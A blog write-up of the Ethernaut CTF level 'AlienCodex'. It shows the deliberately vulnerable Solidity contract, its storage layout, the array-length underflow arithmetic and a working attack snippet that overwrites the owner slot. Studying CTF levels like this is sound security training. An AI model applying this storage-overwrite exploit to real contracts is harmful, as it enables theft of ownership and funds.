capu's blog
Software is evil unless you can fork it

Ethernaut 19: AlienCodex

Objective

Claim ownership of the contract

Code

 1pragma solidity ^0.5.0;
 2import {Ownable} from "./Ownable-05.sol";
 3
 4contract AlienCodex is Ownable {
 5    bool public contact;
 6    bytes32[] public codex;
 7
 8    modifier contacted() {
 9        assert(contact);
10        _;
11    }
12
13    function make_contact() public {
14        contact = true;
15    }
16
17    function record(bytes32 _content) public contacted {
18        codex.push(_content);
19    }
20
21    function retract() public contacted {
22        codex.length--;
23    }
24
25    function revise(uint256 i, bytes32 _content) public contacted {
26        codex[i] = _content;
27    }
28}

The idea is that you make_contact() with this alien and then you can append (record()), pop (retract()) or modify (revise()) a storage array which is the supposed communication.

1[I] capu ~/s/ethernaut-solutions (master)> forge inspect --pretty  AlienCodex  storageLayout
2| Name    | Type      | Slot | Offset | Bytes | Contract                                   |
3|---------|-----------|------|--------|-------|--------------------------------------------|
4| _owner  | address   | 0    | 0      | 20    | src/levels/19-AlienCodex-05.sol:AlienCodex |
5| contact | bool      | 0    | 20     | 1     | src/levels/19-AlienCodex-05.sol:AlienCodex |
6| codex   | bytes32[] | 1    | 0      | 32    | src/levels/19-AlienCodex-05.sol:AlienCodex |

I gotta find a way to write my address to storage slot 0.

Solution

Too late to not see the highlighted lines? Well, it's okay, because this one is pretty hard anyway.

The first smell is that under solidity 0.5.0, it's possible to write to the .length member of an array, and no checks are in place to avoid decrementing an empty array.

Note

also, keep in mind that arithmetic used to overflow silently until verison 0.8.0.

So decrementing an empty array should actually make it of uint256.max length!

That, coupled to the fact that I can use revise() to write to any index of the array, looks like a blank check to write to any storage position. looking into the changes to the next major version seems to confirm this was a problem:

Member-access to length of arrays is now always read-only, even for storage arrays. It is no longer possible to resize storage arrays assigning a new value to their length. Use push(), push(value) or pop() instead, or assign a full array, which will of course overwrite existing content. The reason behind this is to prevent storage collisions by gigantic storage arrays.

I seem to have a plan now:

Step three is where I have to engage some braincells. First, the docs:

Assume the storage location of the mapping or array ends up being a slot p [...] Array data is located starting at keccak256(p) and it is laid out in the same way as statically-sized array data would: One element after the other, potentially sharing storage slots if the elements are not longer than 16 bytes

So codex[0] will end up at position keccak256(1)

1➜ uint(keccak256(abi.encodePacked(uint(1))))
2Type: uint
3├ Hex: 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
4â”” Decimal: 80084422859880547211683076133703299733277748156566366325829078699459944778998

keep in mind that awfully long number is where the start of the array will be. Whatever I pass to revise() as i will be added to it, and I want the result of it to overflow to a value of zero

 1(keccak256(1) + i ) % uint256.max == 0
 2// % -> - is equivalent for only one overflow
 3// the +1 is because uint256.max is a value that can actually be held, one
 4// more than that triggers the overflow
 5(keccak256(1) + i ) - (uint256.max + 1) == 0
 6(keccak256(1) + i ) == uint256.max + 1
 7i == uint256.max - keccak256(1) + 1
 8// -------------------------------------
 9➜ type(uint).max - uint(keccak256(abi.encodePacked(uint(1)))) + 1
10Type: uint
11├ Hex: 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
12â”” Decimal: 35707666377435648211887908874984608119992236509074197713628505308453184860938

All that primary education finally paid off. And tying all the steps together:

 1IAlienCodex target = IAlienCodex(target_);
 2// this'll break the 'contacted' slot, I do not care.
 3bytes32 storageContent = bytes32(bytes20(attacker)) >> 12*8;
 4uint256 indexForStorageStart  = type(uint256).max - uint256(
 5    keccak256(abi.encodePacked(bytes32(uint256(1))))
 6  ) + 1;
 7target.make_contact();
 8target.retract();
 9target.revise(
10  indexForStorageStart ,
11  storageContent
12);

Also on this blog:

Comments

Back to article list